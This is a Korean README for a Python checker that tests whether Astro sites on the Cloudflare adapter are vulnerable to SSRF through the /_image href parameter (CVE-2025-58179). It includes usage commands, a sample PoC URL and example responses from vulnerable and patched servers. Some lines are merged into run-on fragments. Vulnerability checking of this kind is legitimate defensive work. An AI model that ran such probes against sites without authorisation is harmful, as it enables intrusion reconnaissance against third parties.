
CVE-2025-58179-Check은(는) Astro 프레임워크의 /_image 엔드포인트에서 SSRF(Server-Side Request Forgery) / 콘텐츠 스푸핑 취약점을 확인하는 간단한 Python 스크립트입니다.
이 취약점은 GHSA-qpr4-c339-7vq8 및 CVE-2025-58179로 추적됩니다.
이 취약점은 output: 'server' 구성으로 @astrojs/cloudflare 어댑터를 사용하는 Astro 사이트에 영향을 미칩니다. 이미지를 최적화해야 하는 /_image 엔드포인트는 href 매개변수를 올바르게 검증하지 못합니다.
이를 통해 공격자는 서버가 승인되지 않은 외부 도메인의 콘텐츠를 가져와 제공하도록 만들 수 있습니다. 영향은 SSRF가 될 수 있으며, 해당 외부 콘텐츠가 (스크립트를 포함한 SVG와 같은) 악성 파일인 경우 **크로스 사이트 스크립팅(XSS)**으로 이어질 수 있습니다.
이 스크립트는 사이트가 이 문제에 취약한지 확인하는 테스트 과정을 자동화합니다.
Content-Type: image/*의 Status 200).requests 라이브러리 (검증 기능을 사용하는 경우에만)다음과 같이 pip를 사용하여 requests를 설치할 수 있습니다:
pip install requests
CVE-2025-58179-Check.py 스크립트를 복사하세요.chmod +x CVE-2025-58179-Check.py이 옵션은 인코딩된 PoC URL만 출력합니다. 브라우저나 다른 도구에서 수동으로 테스트하려는 경우 유용합니다.
명령:
python CVE-2025-58179-Check.py -u <URL_TARGET> -i <URL_GAMBAR_EKSTERNAL>
예시:
python CVE-2025-58179-Check.py -u [https://target-astro-site.com](https://target-astro-site.com) -i [https://example.com/image.jpg](https://example.com/image.jpg)
출력:
[+] Generated URL:
[https://target-astro-site.com/_image?href=https%3A%2F%2Fexample.com%2Fimage.jpg](https://target-astro-site.com/_image?href=https%3A%2F%2Fexample.com%2Fimage.jpg)
이 옵션은 URL을 생성하고 서버 응답을 검증하기 위해 즉시 HTTP GET 요청을 보냅니다.
명령:
python CVE-2025-58179-Check.py -u <URL_TARGET> -i <URL_GAMBAR_EKSTERNAL> -r
예시:
python CVE-2025-58179-Check.py -u [https://target-astro-site.com](https://target-astro-site.com) -i [https://example.com/image.jpg](https://example.com/image.jpg) --request
서버가 상태 코드 200을 반환하고 콘텐츠 유형이 이미지라면, 이는 서버가 외부 콘텐츠를 가져와 제공했음을 의미합니다.
[+] Generated URL:
[https://target-astro-site.com/_image?href=https%3A%2F%2Fexample.com%2Fimage.jpg](https://target-astro-site.com/_image?href=https%3A%2F%2Fexample.com%2Fimage.jpg)
[+] Sending HTTP request...
[+] Status Code: 200
[+] Content Type: image/jpeg
[+] Server returned image content - Potential vulnerability detected!
패치되었거나 올바르게 구성된 서버는 일반적으로 4xx 상태를 반환하여 승인되지 않은 외부 도메인에 대한 요청을 거부합니다.
[+] Generated URL:
[https://target-astro-site.com/_image?href=https%3A%2F%2Fexample.com%2Fimage.jpg](https://target-astro-site.com/_image?href=https%3A%2F%2Fexample.com%2Fimage.jpg)
[+] Sending HTTP request...
[+] Status Code: 400
[+] Content Type: text/plain;charset=UTF-8
[+] Client error - Resource might not be accessible
[!WARNING] 경고
- 이 스크립트는 교육 및 합법적인 보안 테스트 목적으로 제작되었습니다.
- 사용자는 자신의 행동에 대해 전적인 책임을 집니다. 허가받지 않은 시스템에서 이 스크립트를 사용하지 마세요.